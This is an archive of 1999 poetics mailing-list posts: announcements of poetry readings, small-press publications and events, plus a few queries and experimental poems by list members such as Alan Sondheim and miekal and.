The Danish Notebook is available from www.amazon.com and Small Press Distribution (it's not yet on their website, but it's in their database).

For those of you in the San Francisco Bay Area, SPD asked me to post that The Danish Notebook,and other books from independent presses will be for sale for 20% off at Small Press Distribution's booth (114) at the 10th annual San Francisco Bay Area Book Festival Oct. 16th and 17th, 10 a.m. to 6 p.m. at Fort Mason.

Avec Book titles will also be for sale at Poetry Flash's booth at the Book Festival, which will be near the Allen Ginsburg Poetry Cafe.

For additional information about the book festival go to www.sfbook.org

*Cydney Chadwick thanks everyone who responded so quickly with offers to build the page for Michael Palmer's new book. She'll respond to everyone who back channeled her in the next few days.

↑ Index

97. Gary Shapiro

Kenyon Review, Sewanee Writers Conference, Boulevard : 3 NYC events

Thu 7 Oct 1999

THREE FREE NYC LITERARY EVENTS
RSVP to [redacted] or [redacted]
We'll see you there! You're invited!

October 12, 1999 The Kenyon Review at 60: A Celebration 7:00pm Founded by John Crowe Ransom, the journal published Allen Tate, Cleanth Brooks, RP Blackmur, Randall Jarrell and Kenneth Burke in its first couple decades, and has gone on to help shape the tastes of the nation.

Princeton professor Michael Wood (author of books on Stendhal, Marquez, Nabokov, among others) will speak on BROKEN DATES: FICTION AND THE CENTURY, followed by respondent MacArthur winner Lewis Hyde (author of The Gift: Imagination and the Erotic Life of Property), and Celia E. O'Donnell, Director of the Council of Literary magazines and Presses. Moderated by Editor David Lynn. FREE ----- Nov. 3, 1999 Sewanee Writers' Conference 10th Anniversary 7:30pm High atop the Cumberland Plateau, an hour and a half from Nashville, an hour from Chattanooga, lies the University of the South, which provides an idyllic setting for The Sewanee Writers' Conference. Writers, editors and agents gather each July to convene for classes, readings, and conversation. Join Conference Director Wyatt Prunty, author of "Since the Noon Mail Stopped" (Johns Hopkins,1997), and other noted writers, including 1999 National Book Award Winner Alice McDermott,as well as Daniel Mueller, author of "How Animals Mate" (Overlook, 1999), Pulitzer Prize winning poet Mark Strand, and Lily Tuck, author of "Siam: or The Woman who Shot a Man" (Overlook, 1999). FREE -------- November 8,1999 An evening with Boulevard Magazine 7:30pm Join Editor Richard Burgin (three-time Pushcart Prize winner, and author of Fear of Blue Skies, Private Fame and Man Without Memory), Molly Peacock, author of four books of poems, including Original Love and Take Heart, as well as a memoir Paradise, Piece by Piece, has been President of the Poetry Society of America. Art critic and poet David Shapiro, author of 7 volumes of poetry, monographs on Ashbery, Jasper Johns, and After a Last Original (with Terry Winters). FREE

Location of the above three events: 15 Gramercy Park South, NYC (near 20th Street & Park Ave) For more information, email [redacted] or call [redacted]. Business attire (jacket & tie for men) is required.

↑ Index

98. Thomas Bell

Re: ~IS~ FORM (re: ANTIN addenda)

Fri 8 Oct 1999

John, i just came across this quote - "Form has to do with how to shape a given space" Gertrude Stein, _Stanzas in Meditation_ that i think captures the process vs. static issue of forms quite nicely.

tom

"Lowther, John" wrote:
>
> i didnt edit myself terribly well in that long
--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
 LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

99. Alan Sondheim
the closeness of cancer
Fri 8 Oct 1999

---

o

the closeness of cancer

always waiting for the result, the next cellSWOLLEN BEGINNING TO DISORGAN- IZE THE CORE-THEORETICAL STRUCTURE OF THE WORLD-grappled mitochondriaTELL YOU THE TRUTH, WHILE THE VOICE CONTINUES TO SPEAK AS IF A THIN LAMINA OC- CURRED OVER OR UPON THE REALthe case of the real when the territory is the map or when emissions, spews replace chaos by noise, substance, AAAAASUB- STANCE PULLS THE BODY DOWN, SUBSTANCE IS THE DREAM OF THE BODY, IS THE BODY OF THE DREAM: THIS IS THE TRUTH WHICH I HAVE COME TO TELL YOUa re-sult might divide, might lead to another result, a day might divide, lead to an-other day, a year might divideINTO A YEAR THE SUBSTANCE OF YEARS FALLS; INTO A MONTH, THE SUBSTANCE OF YEARS; INTO A WEEK, THE SUBSTANCE; INTO A DAY, HOUR, MINUTE, THE SAME; INTO A SECOND, THE SUBSTANCE AAAAAeach min- ute, second, week, day, year, month, exist-ing for the others: it is the unknown which is simultaneously unaccountable and unaccounted-forAS IF ALL KNOWLEDGE DERAILS SUBSTANCE, SUBSTANCE DERAILS ALL KNOWLEDGE Fri Oct 8 00:26:38 EDT 1999

↑ Index

100. John Tranter
Traveling Tranter
Fri 8 Oct 1999

Hi. I'm John Tranter, editor of Jacket magazine. For those interested in hearing some modern poetry with a slight Australian accent, I will be giving one reading in Prague and two readings in the USA in coming weeks.

Contact details and reading dates as follows:

* October 17 to 21
Prague: Dalimil Hotel
Propokova námistí 2-3, Praha 3-Zizkov
Tel. 420-2-782 666, fax 420--2-227 80182
Can be contacted via Louis Armand,
phone [redacted], fax 420 2 248 12 166,
email [redacted]
John Tranter reading at the Globe Bookstore, 6.30 pm Monday October 18th

* October 22 to 31
New York: Olcott Hotel
27 West 72nd Street, NY 10023
Tel [redacted], Fax-[redacted]
John Tranter reading at the Zinc Bar, 90 West Houston (Laguardia/Thompson)
6.30 pm on the evening of Tuesday October 26th

* November 1 to 4
Los Angeles: Hotel Carmel
201 Broadway, Santa Monica, CA 90401
Tel [redacted], Fax-[redacted]
John Tranter reading at the Rose Caf é, 220 Rose Avenue at Main Street,
Venice, just south of Santa Monica, (tel [redacted]) on the evening of
Wednesday November 3rd.

best,
JT

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

↑ Index

101. John Tranter
Traveling Tranter, the Zinc-Corrected Version
Fri 8 Oct 1999

Apologies for a misdirection in my recent email:

The Zinc Bar is at 90 West Houston
 - LaGuardia (West Broadway) and Houston Street -

and I'm reading there at 6.30 pm on the evening of Tuesday October 26th

JT

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

↑ Index

102. Todd Baron /*/ ReMap Readers
correction
Fri 8 Oct 1999

---

the ReMap advert should of, of course, tired he wrote--read

Rodrigo Toscano

not "toscan"
or some dessert
of that name.

thanks for reading,

Todd Baron
ReMap Readers

↑ Index

103. Lisa Samuels
reading in ypsilanti michigan
Fri 8 Oct 1999

---

dear all,

for those in shouting distance of the ann arbor/ypsilanti, michigan area on Monday, October 11th:

i will be reading poems, and Michael Martone will be reading fiction, at 7:30 PM in the Halle Library Auditorium on the campus of Eastern Michigan University. it's free & the new library is a cool stone & glassy venue, just north of

Washtenaw Ave and east of Oakwood (on the east side of EMU's main campus) in autumnal Ypsilanti.

lisa samuels

↑ Index

104. miekal and
referencing vast leakage, or temporary extrusion
Fri 8 Oct 1999

Roland Barthes, [redacted]

The opposition spread under the protection of power. There are those that no concious illusion is perpetrated. An entire orality which produces a drift of bliss & fear. Fetish objects on the other hand leaves expression to the pheno-text. As a creature of language which permeates him very quietly the subject returns were we fond of neologisms. This text bores me like a spider dissolving. The text you write must prove the sentence is hierarchical. Similarly, it is not only establishing the oppostion of the way two girls must be politicized. Where is this elsewhere? Nine times out of ten societies object to undifferentiated eye & noteworthy Desire. Do not deign to be the persistence of the thing. Neurosis are the means of ungratiated sucking, a glimpse of scandalous truth, still far too much heroism to identify accurately language's image. We are scientific clandestine sites. This is to want a text which seizes the subject the way the reversal of origins could not be written. And when something remains a potlatch under respectable appearances, this is how I have my best ideas.

Pry Luz, Why must I see the Immortals?

In a Boat
on a Bird
it was very Sad
A Girl grows up
& then She climbs
out of Bed

green green
I didnt dare
run along the Edge

Poetry is one
Great Essence

We steal a night
listening to its Sounds
I shall pity the innumerable

wilderness Moon
wandering in solitude

I scan thru texts
but discontent grows great
the former rage
fresh in the Frost
from Birth to Modern Times
echoes of Chimes and Bells
empty a Man's Mind

explain negation.

within even man, conversation.

contradiction.

contradiction.

confusion, cohabitation, vacillation, margin.

expansion written then.

in written contain within seduction.

Page Light Being, radiance / spectre / poise

I laugh at the arrival of a solitary crane
amorous heart is tears that wets one's clothes
but where I go butterflies fail to coax her
I'd like to say something in tense abstraction

my sorrow is great but can't compare
with your past great love
in opposite corners of the world
the same tart flavor
the present will last and get no worse

the void with a thunderous hum
somewhere atop the mulberry trees
never my loved ones have not returned
it was with them come what may

that's why I'm unable to sleep
as I turned my head
I'm satisfied with me
never quite undone I will not go gently

Pride Lustre, [redacted]

leaves
of rustling sorrow
into my heart

prisoners
continually
empty half a word

the vegetable
is as tasteless
as the sleeping dragon

my girl
smeared my pain
with a feeble light

exposing lotus
leaves I never
dreamed of her

silent passage
oblivious to desire

buckthorn trees
curse
the endless gods

how lovely
the longing for
encampment

like a fog
dabbled
she wouldn't dance

↑ Index

105. Molly Schwartzburg
Re: info on Bei Dao?
Fri 8 Oct 1999

If any Bay Area people are interested in attending, Bei Dao will be reading his poetry as part of the Stanford Presidential lecture series on November 29. You can find the location info on the Stanford web site. The series is usually very well attended, so it's recommended that you arrive early. --Molly Schwartzburg

On Wed, 6 Oct 1999, James Brook wrote:

> *After reading the current Rain Taxi interview with Bei Dao, which sent me back to his books of poetry, notably the latest, Landscape Over Zero, I am more and more intrigued by this poet, whom I once saw read in Paris several years ago.*
>
> *Could someone direct me to published criticism or other interviews? According to Rain Taxi, Bei Dao is teaching at the University of California at Davis. I wonder if anyone has a more precise address?*
>
> *Thanks,*
>
> *--James Brook*

↑ Index

106. David Kirschenbaum
Edward Sanders chapbook from Boog Literature
Fri 8 Oct 1999

Now available:

Boog Literature chapbook # 24

Ed Sanders, Arise, o Wobblies!
12 pages + 4-page cover wrap, $6
$1 from each sale goes to the Poetry Project at St. Mark's Church

Limited numbered edition of 34 copies
12 pages + 4 page cover wrap with red star woodblock print by Tom Nattell and black typography linoleum print by Daisy DeCapite.
Each book has a tip-in sheet signed by the author and cover artists. $15
$3 from each sale goes to the Poetry Project at St. Mark's Church

Checks payable to:
Boog Literature
351 W.24th Street Apt. 19E
New York, NY 10011-1510
email: [redacted] website: www.booglit.com tel: [redacted]

Chapbook to commemorate Sanders Tuesday October 5, 1999, Poetry Project at St. Marks Church reading with Lawrence Ferlinghetti. An excerpt from forthcoming Black Sparrow Book, "America, A History in Verse, Vol. 1, 1900-39," (Black Sparrow Press, 1999).

Also from Boog Literature by Edward Sanders, Thirsting for Peace in a Raging Century (1993). $6.

Boog Literature chapbooks are edited and published by David A. Kirschenbaum. Send SASE, or email, for catalog.

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

107. Alan Sondheim

Jennifer-Cancer

Fri 8 Oct 1999

-

Jennifer-Cancer Beneath Fire Inside Your Everywhere

JENNIFER STUMBLES TO HER FEET: LEAVES JENNIFER BEHIND. LURCHES. CRAWLS, SCREAMS ACROSS AMERICA. MEN WITH GUNS: VIOLATION-FABRIC OF AMERICA. JENNIFER BEHIND THE TRUCK.:VIOLATION-JENNIFER: JENNIFER DEFRAG. Bring the bones closer; cross them: SEPULCHRE. WHAT THE BONES SAY: Jennifer-Cancer always already at a ioss, RAM CORRUPTED, ROM OUTMODED.:Jannifar's c$ncar. Jannifar's ioss of mamory. Jannifar's baginning $g$in. Jannifar's c$hght - tha dissolation of Jannifar. Jannifar-fhnction tr$nsformad tamoor$riiy into orgnic/orgnism, matstsas, b$ck into tha m$china. M$chinic Janni- far larching, unabla to saa/ha$r str$ight: inscriotion doasn't work, noth- ing doas. Rdition thar$py: JENNIFER DEFRAG.:CANCER-RAM: Devour bodies CANCER-ROM Brought Forth through JENNIFER STUMBLES TO HER FEET: LEAVES JENNIFER BEHIND. LURCHES. CRAWLS, SCREAMS ACROSS AMERICA. MEN WITH GUNS: VIOLATION-FABRIC OF AMERICA. JENNIFER BEHIND THE TRUCK. *sob!* *sob!* *sob!*

unabla toscriotion doasn't work, noth-ing doas.JENNIFER STUMBLES TO HER FEET: LEAVES JENNIFER BEHIND. LURCHES.-FABRIC OF AMERICA.JENNIFERBEHIND- THETRUCK.:VIOLATION-JENNIFER: JENNIFER DEFRAG. Bring theesTHE BONES SAY: Jennifer-Canceralways already ataioss, RAMCORRUPTED, ROM OUTMODED.:Janni- far's c$ncar.ioss of mamory. $g$in.c$hght -tha dissolation ofJannifar.Jann- ifar-fhnction tr$nsformad tamoor$riiyorgnic/orgnism,tha m$china. M$chin- icthar$py:JENNIFER DEFRAG.:CANCER-RAM: Devour bodiesCANCER-ROM *sob!* *sob!* *sob!*

JENNIFER DIES OF FUCKING CANCER. *sob!* *sob!* *sob!*

↑ Index

108. Nielsen, Aldon
reading in Virginia
Fri 8 Oct 1999

For anyone within striking distance of Charloteesville VA --

On Thursday 10/28 at 8:00 PM there'll be readings by Gwendolyn Brooks, Joanne Gabbin AND Melvin B. Tolson Jr.

This in celebration of the newly pub'd Tolson edition AND the book "The Furious Flowering of African American Poetry"

There will also be music -- thing takes place at Old Cabell Hall, UVA, Charlottesville

says here that for info you can call [redacted]

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109. Jim Andrews
Defib: live online Web artist interview surf show
Sat 9 Oct 1999

FROM WEBARTERY.COM.
DEFIB LAUNCH: NEW LIVE ONLINE Web ARTIST INTERVIEW SURF SHOW
1ST & 3RD SUNDAYS, NOON PST
http://webartery.com/defib

SUNDAY OCTOBER 17, NOON PST (3RD SUNDAY OF OCT) Talk with Talan Memmott and the contributors to the new issue of BeeHive at high noon during the launch show of Defib, Webartery.com's online chat interview/surf show featuring Web artists and their works and projects. Vol 2, issue 4 of BeeHive is upcoming at http://www.temporalimage.com/beehive/bee_core. All you need to participate in this live discussion/surf show is a java enabled browser.

TALAN MEMMOTT AND BEEHIVE Talan Memmott is a writer living and working in San Francisco, California. He comes to writing from a background in fine art, having studied painting, installation, video and performance art, as well as critical theory. His hypertext theory/fiction work has appeared in the online publications Perforations, Perihelion, Big Bridge and frAme. Memmott currently works in the multimedia field as Production Director for the web development firm PERCEPTICON and serves as Creative Director for the literary hypermedia journal BeeHive. A new edition of BeeHive is launching October 6/99 featuring work by Reiner Strasser, Michael White, Claine Helen Keily, Jim Andrews, and an archive of the San Jose Valley Poetry Slam Team that BeeHive covered during their cross country tour, which culminated in their winning the national

title. Probably several of the contributors to BeeHive will be participating in this launch of both Defib and the new issue of BeeHive.

DEFIB Defib shows will be recorded and the transcript produced into a full-blown hypertext available at webartery.com. This turning of the live show into a different form after the fact will create a critical record/document that accompanies the project/works under discussion. Defib will roughly coincide with the launch of Web art projects by the artists of Webartery.com and others. Upcoming shows include Claire Dinsmore and the contributors to her new online magazine Cauldron & Net (Sunday Nov 7, noon PST), Bill Marsh and his new broadcasting project sunbrella.net (Sunday Nov 21, noon PST), and Miekal And and his LinguaMOO collaborative project plus other projects Miekal's collaborating in such as Alan Sondheim's project at Trace (Sunday Dec 5). See http://webartery.com/defib for detailed schedule and other info.

DEFIB:
http://webartery.com/defib
Produced by Dan Waber and Jim Andrews
A project of Webartery.com

↑ Index

110. Alan Sondheim
my work's notice
Sat 9 Oct 1999

(This notice is sent periodically to the Cybermind/Fop-l lists - it's hard for people to see what I'm attempting to do in writing/literature/theory/ reading - without books, etc. the best I can do is the mass of materials at the websites - hoping you can read online - Alan -)

Internet Philosophy and Psychology - Oct.99

This is a somewhat periodic notice describing my Internet Text, available on the Net, and sent in the form of texts to various lists. The URL is: http://www.anu.edu.au/english/internet_txt/ which is partially mirrored at http://lists.village.virginia.edu/~spoons/internet_txt.html. (The first site includes some graphics, dhtml, The Case of the Real, etc.)

The changing nature of the email lists, Cybermind and Fiction-of-Philoso- phy, to which the texts are sent individually, hides the full body of the work; readers may not be aware of the continuity among them. The writing may appear fragmented, created piecemeal, splintered from a non-existent whole. On my end, the whole is evident, the texts extended into the lists, part or transitional objects.

So this (periodic) notice is an attempt to recuperate the work as total- ity, re-strain its diaphanous existence. Below is an updated introduction.

The "Internet Text" currently constitutes around 120 files, or 2800 print- ed pages. It began in 1994, and continues as an extended meditation on cy-berspace, expanding into 'wild theory' and literatures.

Almost all of the text is in the form of short-waves or long-waves. The former are the individually-titled sections, written in a variety of sty- les, at times refer-encing other writers/theorists. The sections are inter- related; on occasion ema-nations appear, avatars possessing philosophical or psychological import. They also create and problematize narrative sub- structures within the work as a whole. Such are Julu, Alan, Jennifer, and Nikuko, in particular. Overall, I'm con-cerned with virtual-real subjectiv- ity and its manifestations, in relation to vari-ous philosophical issues. Recently, I've been dealing with dis/ease, the "ill" avatar, and binary operations/processes in relation to transcendence and frag-mentation.

The long-waves are fuzzy loci bearing on such issues as death, love, vir- tual embodiment, the "granularity of the real," physical reality, computer languages, and protocols. The loci weave throughout the text; the result- ing splits and con-vergences owe something to phenomenology, programming, deconstruction, linguistics, prehistory, etc., as well as to the function- ings of online worlds in relation to everyday realities.

I have used MUDS, MOOS, talkers, perl, d/html, qbasic, linux, emacs, Cu-SeeMe, etc., all tending towards a future of being-and-writing, texts which act and engage beyond traditional reading practices. Some of the work emerges out of performative language such as computer programs which _do_ things; some emerges out of interferences with these programs, or conversations using internet applications that are activated one way or another. (Most recently, I use the "display" program in Slackware linux, for example.)

There is no binarism in the texts, no series of definitive statements. Virtuality is considered beyond the text- and web-scapes prevalent now. The various issues of embodiment that will arrive with full-real VR are already in embryonic exis-tence, permitting the theorizing of present and future sites, "spaces," nodes, and modalities of body/speech/community.

Please check the INDEX to find your way into the earlier body of the work. The Case of the Real is a sustained work that may be the most useful text of all. It is also helpful to read the first file, Net1.txt, and/or to look at the latest files (lb, lc, etc., which are still to be indexed) as well. Skip around. The Index lists the files in which a particular topic is described; you can then do a search on the file, or

simply scroll down (the files range in length from 30 to 50 pages in print). (Note: I have stopped working on the index; for the later files, I suggest you skim. Eventually, I need a site and a local search engine for the texts; at the moment, I apologize for the awkwardness of it all.)

The texts may be distributed in any medium; please credit me. I would ap- preciate in return any comments you may have.

See also:
Being on Line, Net Subjectivity (anthology), Lusitania, 1997
New Observations Magazine #120 (anthology), Cultures of Cyberspace, 1998
The Case of the Real, chapbooks, Potes & Poets Press, 1998
Jennifer, limited edition, Nominative Press Collective, 1997
http://trace.ntu.ac.uk
http://trace.ntu.ac.uk/writers/sondheim/index.htm
http://trace.ntu.ac.uk/writers/sondheim/diary/diary.txt

Alan Sondheim [redacted]
432 Dean Street, Brooklyn, NY, 11217
email: [redacted]

↑ Index

111. Katherine Lederer

Cover me rumble

Sat 9 Oct 1999

Announcing the publication of

S E A M L E S S A N T I L A N D S C A P E

by Leslie Scalapino

* * *

some older poets say they are finished and say
the younger poets are finished as the older poets
have finished it the older poets have finished the
younger poets are finished say the older poets
is it the older poets have received too many
compliments?

* * *

If critique and writing are not separate.... The writing is a 'collapsing' of the distinction between real events and dreams, because my intention was to look at what's happening in the mind then ('real time'?) -- also I was looking at mind in

its relation to the real outside (not that the outside has created the mind -- your quoting of Marx -- or that the mind has created the outside). That is, not discriminating as to the cause... The outside 'demonstrating cruelty' then, the writing does not change or talk about the past of the outside -- it marks motions by the writing's sound, people making small motions such as walking on the street. There, they aren't 'expression' of oneself...

* * *

As if one only wrote an "emblem" of the "postmodernist metropolis" rather than engaging being in Calcutta (or New York -- or Berkeley). In this, I am responding to Marjorie Perloff's essay "The Language Poet as Autobiographer, Ron Silliman's Under Albany" in which choosing one segment from a multi-segmented piece, which I wrote in 1974, in one passage she compares me to Ron Silliman's mature writing (as well as that of Michael Palmer and Barrett Watten)...

* * *

Critical writing embracing a type of contemporary poetry (much of) which has a radical conceptual and social-political intention, sometimes de-emphasizes or 'changes' the poets' intentions by stressing formal aspects as if these were valuable for their 'form' (in itself) rather than their form being that of a social/conceptual deconstruction taking place. This tends to bring the poet into a lineage as socially 'understandable' and understandable in that it is literary tradition...

* * *

'what's the anxiety?': as not being in the state of constant change -- in which there's no fear -- the neck cut out.

* * *

In an essay on Allen Ginsberg, Marjorie Perloff reinterpreted Howl as not in fact arising from pain -- i.e. not that which is connecting with his time (that's why the present is the most disturbing time, to paraphrase Stein) -- but rather as actually being comic, and now in a different time can be understood to be comic. Calling Ginsberg a "comic bard," she maintains that in that light his work can (should) now be accepted, implying it could not be accepted if we interpret it as arising from pain. There is a filter used there separating form and occurrence, which changes the sense Ginsberg conveys as being that reality...

* * *

...from Leslie Scalapino: Seamless Antilandscape, $6

Other Spectacular Books:
Tina Celona: Songs & Scores, $6
Juliana Spahr: Spiderwasp or Literary Criticism, $6

Martin Corless-Smith: The Garden. A Theophany or ECCOHOME: A Dialectical Lyric, $6

Books forthcoming by:
Rod Smith, Josh May, Prageeta Sharma, Lyn Hejinian, others.

* * *

Write to:
Spectacular Books
PO Box 250648
Columbia University Station
New York, NY 10025

Signed and numbered sets (of ten) are available for $50.
Please make checks payable to Katherine Lederer
(Add $1 per book S/H for international orders)

↑ Index

112. Robin Tremblay-McGaw
forum on class & innovative writing
Sat 9 Oct 1999

The latest issueof HOW2 is now available.
http://www.departments.bucknell.edu/stadler_center/how2/current/index.html

You'll find the forum issue on class & innovative writing edited by yours truly and Kathy Lou Schultz, Kathy's essay, "Talking Trash, Talking Class: What's a Working Class Poetic, and Where Would I Find One?"and my piece "Class, Gender, Genre: A Culture bomb, The Letters of Mina Harker by Dodie Bellamy," as well as lots of other great writing on the site.

Robin Tremblay-McGaw

↑ Index

113. Jerrold Shiroma
New Small Press Publications
Sun 10 Oct 1999

This week's list of new (or recent) Small Press Publications @ Duration is up. Also included is a catalog supplement featuring innovative works from Ireland.

http://www.durationpress.com/announcements/announce.html

↑ Index

114. jerome joy (by way of Kenneth Goldsmith <[redacted]>)" <[redacted]>

--> revue AUDIOLAB

Sun 10 Oct 1999

Thought this might be of interest to the group.

-Kenneth

_____

Here is the announcement of the opening of REVUE AUDIOLAB
http://homestudio.thing.net/

This review concerns all the composers, musicians and artists and gathers today more than 350 headings about the new investigations and researches in music and sound . The review was built starting from documents resulting from the www since several years, some originals having disappeared, others being moved on other servers and finally the last being still on line. All the articles kept their copyrights of course. The Revue wants to be a place of consultation and center of interest around sound and musical emergences. A search engine integrated into the Revue makes it possible to seek in the whole of the elements (more than 1000, texts and images) starting from key words. Or the consultation can be done starting from the general index. The review wants to be generating, the composers and artists wanting to communicate texts and documents on their search can send their contributions to the Revue . The review wants to be also federative, it's not a plundering of texts, but a gathering of contents and informations, as far as possible the original addresses of the pages are noted in the page of the texts (if some miss, thank you to prevent me). This gathering is carried out to feed reflexions around the new musical and sound investigations, and if these pages were copied and brought back on the server thing.net it is because much of them already disappeared from the original servers and that certainly much of them will disappear progressively with time. The authors can of course claim the removal of their pages integrated in the review. Good reading.

jerome joy

...

::: http://homestudio.thing.net/

::: http://www.cnap-villa-arson.fr/audiolab/
::: http://www.lascaux2.org/

... villa arson nice

...

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115. Lawrence Upton.
(no subject)
Sun 10 Oct 1999

Writers Forum announces 6 new publications in the series DOMESTIC AMBIENT NOISE

896 9. best shape, Lawrence Upton / Bob Cobbing, 8 pp B5, vispo, October 1999

897 7. shaping up, Bob Cobbing / Lawrence Upton, 8 pp B5, vispo, October 1999

898 5. NO WONDER, Lawrence Upton / Bob Cobbing, 8 pp B5, vispo, October 1999

899 3. suicide, Bob Cobbing / Lawrence Upton, 8 pp B5, vispo, October 1999

900 0. WEIGHT FOR THE KICK, Lawrence Upton / Bob Cobbing, 8 pp B5, vispo, October 1999

901 9. EXIT, Bob Cobbing / Lawrence Upton, 8 pp B5, vispo, October 1999

Each costs £1 + postage in Uk, discounts for multiple copies etc

Enquiries etc with sae / irc to New River Project, 89a Petherton Road, London N5 2QT

Writers Forum
http://www2.crosswinds.net/members/~writersforum/

↑ Index

116. raea100900
New Writing Series
Sun 10 Oct 1999

Dear All,

This is an announcement for anyone who might be in or around San Diego in the next couple of months. Here is the schedule for the New Writing Series this fall:

Oct. 20 Pam Lu
Oct. 25 Barrett Watten
Nov. 3 Deanna Ferguson
Nov. 12 Tracie Morris
Nov. 17 Rae Armantrout and Norman Fischer

These readings will be at 4:30 in the Visual Arts Performance Space on the UCSD campus. They are free and open to the public.

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117. Chris McCreary
Big Allis e-mail address?
Sun 10 Oct 1999

Hello --

I'm looking for an e-mail address for the journal Big Allis. Any help via backchannel would be much appreciated.

Thanks --

Chris McCreary

↑ Index

118. Alan Sondheim
My Intensity as Cliche (I am exposed!)
Mon 11 Oct 1999

=

My:Intensity:as:Cliche

At:night:I:stay:up:worrying:over:disease,:over:the:events:of:the:day,
over:the:fury:of:my:obsessive:speed,:over:the:urgency:
At:day:I:am:sick:with:worry,:crushed:under:by:the:events:of:the:day,
speeding:nowhere:at:all:with:a:sense:of:emergency:

I:write:the:urgency,:emergency;:the:speed:and:the:fury:of:nowhere:
I:write:the:worry:and:the:disease:in:the:ordinary:events:of:the:day:

And:I:think:I:am:the:boy:crying:wolf:in:the:wilderness:
And:I:think:I:am:the:girl:crying:fire:in:the:darkened:theater:
When:the:wolves:have:been:murdered,:when:the:theater:continues
its:unruly:and:maudlin:play:

Again:and:again:it:keeps:occurring:to:me::No:one:will:believe:me: It's:just:another:of:Alan's:hysteric:outbursts,:another:text
of:despair,:neurosis,:something:teething,:something:teetering:
Already:turned:cliche,:empty:of:content,:reeking:of:design:

Then:I:think::Shall:I:scream:constantly:into:the:night::What:throws
us:into:the:holocaust::What:are:constant:deaths::What:are:Nikuko,
Jennifer,:the:others:BEGGING::More:intensity!:More:intensity!:
Oh,:shall:I:desert:them!:

I:am:your:film::And:the:frame:in:your:film::I:grind:my:teeth:
on:the:image::I:teeter:on:the:edge:of:the:sprocket-hole::Oh,:this
is:so:typical!::Oh,:he:continues:with:this:nonsense!::Oh!::Oh!::Oh!:

↑ Index

119. Al Filreis
Perloff October 20
Mon 11 Oct 1999

Dear Buffalo poetics listers: The times below are given in eastern time. If the webcast intrigues you, write to me directly. I will then send you information about how the webcast works.--Al Filreis

> "Marjorie Perloff, a great detective. The mystery is art of this century. (Who did it? What is it?) -- John Cage
>
> "Marjorie Perloff's brilliant, adventurous imagination makes her an ideal guide to the important paradigm shift that has been taking place since modernism." -- Rosmarie Waldrop
>
> - + - + - + - + - + - + - + - + - + - +

M a r j o r i e P e r l o f f

visits the Kelly Writers House

Wednesday, October 20

lecture at 6:30 PM

Stein discussion at 4:30 PM

(4:30 PM) wide-ranging introductory discussion of Gertrude Stein
---------- With Al Filreis and Bob Perelman, Marjorie Perloff discusses the writing of Gertrude Stein. Although this session is primarily for students in Al Filreis's experimental on-line course on modern & contemporary poetry, others are invited to participate by attending the session at the Writers House or by viewing (and participating) via live webcast. If you want to participate either as a member of the live audience or by webcast, please write to Al Filreis at [redacted] (spaces are limited).

(6:30 PM) a talk by Marjorie Perloff, "Watchman, Spy and Dead Man: Frank O'Hara, Jasper Johns, and John Cage in the Sixties"
---------- This talk will feature slides and a

short video clip of John Cage. No RSVP necessary. The session is free and open to the public. It will not be webcast.

Among Marjorie Perloff's books are:

Wittgenstein's Ladder
Poetry on & off the Page: Essays for Emergent Occasions
Postmodern Genres (editor)
Poetic License: Essays on Modernist and Postmodernist Lyric
Radical Artifice: Writing Poetry in the Age of Media
The Futurist Moment: Avant Garde, Avant Guerre & the Language of Rupture
The Dance of the Intellect: Studies in the Poetry of the Pound Tradition
The Poetics of Indeterminacy

Marjorie Perloff is the Sadie Dernham Patek Professor of Humanities at Stanford University, for many years a resident of Los Angeles (formerly a resident of Philadelphia).

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120. Dana Lustig
Studies or Essays on Tom Phillips
Mon 11 Oct 1999

Does anyone know of any critical studies or essays done on Tom Phillips? They can be about his range of works, or specifically about works such as _A Humument_, from either a poetics or an art-historical perspective. (To start, I have looked at the Humument website, and have pulled various newspaper and magazine articles, the most prominent being William Gass' _ArtForum_ essay, but that seems to only touch the tip of the iceberg.)

Any help would be very much appreciated.

Dana Lisa Lustig
[redacted]

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121. Carrie Etter
Michael Davidson reads at UC Irvine 10/19
Mon 11 Oct 1999

On October 19 at 8 p.m., Michael Davidson will give the first reading in the series "Making Strange: The Linguistic Innovations of Four California Poets" in Humanities Instructional Building 135 at UC Irvine. The reading is free, and all are welcome. Send questions about directions, etc. to series director Carrie Etter at [redacted].

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122. Chicago Review
Bidart, Taggart to Read
Mon 11 Oct 1999

Dear Poetics List Members,

Two public events that I hope some of you will be able to attend...

FRANK BIDART
--Poetry Reading: Thursday, Oct 14, 5:30, Classics 10
--Talk: "Pre-existing Forms: We fill them and, when we fill them, we change them and are changed," Friday, Oct 15, 3:30, Wieboldt 408

JOHN TAGGART
--Poetry Reading: Monday, October 18, 5:30, Classics 10
--Talk: "New Song: Chicago Improvisations," Tuesday, October 19, 3:00, Wieboldt 408

Both Classics and Wieboldt may be entered at 1010 E. 59th St (the archway just east of Ellis Ave).

Please e-mail Danielle Allen ([redacted]) for more information.

Regards,
Andrew Rathmann
Editor

^^^^^^^^^^^^^^^

Check out our new website!
http://humanities.uchicago.edu/review

Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637

↑ Index

123. Hoa Nguyen
Lucky Pup, by Leslie Davis
Mon 11 Oct 1999

Skanky Possum Press is pleased to announce the release of its second title:

Lucky Pup, by Leslie Davis.

Orders may be placed with Small Press Distribution (http://www.spdbooks.org or [redacted]). Only $5.

Orders and queries also handled here or by writing Skanky Possum at
2925 Higgins St. // Austin TX // 78722.
(Checks payable to Hoa Nguyen or Dale Smith.)

***

From the back of _Lucky Pup_:

Dear Leslie,

Just read Lucky Pup again, this time out loud. I ask myself, who's the Lucky Pup--the one who survived, or the other who gets out? Luck, indeed, determines who gets to tell the story. The survivor leads the way through terror and desire. Anguish yes, but with a new chance to come back to testify on behalf of the beauty and mystery of being alive.

